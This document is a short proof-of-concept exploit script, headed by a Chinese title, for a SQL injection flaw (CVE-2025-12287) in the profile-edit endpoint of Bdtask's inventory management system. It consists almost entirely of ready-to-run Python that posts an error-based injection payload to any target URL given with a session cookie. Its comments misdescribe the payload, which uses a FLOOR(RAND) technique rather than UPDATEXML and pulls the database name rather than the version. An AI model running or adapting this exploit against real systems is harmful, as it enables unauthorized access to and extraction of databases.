CVE-2025-12287 Bdtask库存管理系统SQL注入漏洞

import requests import sys # CVE-2025-12287 SQL Injection PoC # Target: Bdtask Wholesale Inventory Control and Inventory Management System # Endpoint: /Admin_dashboard/edit_profile # Parameter: first_name or last_name def exploit_sqli(target_url, session_cookie): """ SQL Injection PoC for CVE-2025-12287 This demonstrates extracting database version information """ headers = { 'Cookie': session_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Payload to extract database version # Using error-based SQL injection with UPDATEXML payload = "test' AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x71716b7171,(SELECT MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x7178786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -" data = { 'first_name': payload, 'last_name': 'test', 'submit': 'submit' } try: response = requests.post( f"{target_url}/Admin_dashboard/edit_profile", headers=headers, data=data, timeout=30 ) if response.status_code == 200: print(f"[*] Request sent to {target_url}/Admin_dashboard/edit_profile") print(f"[*] Check response for SQL error messages containing database info") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'ci_session=abc123...'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_sqli(target, cookie)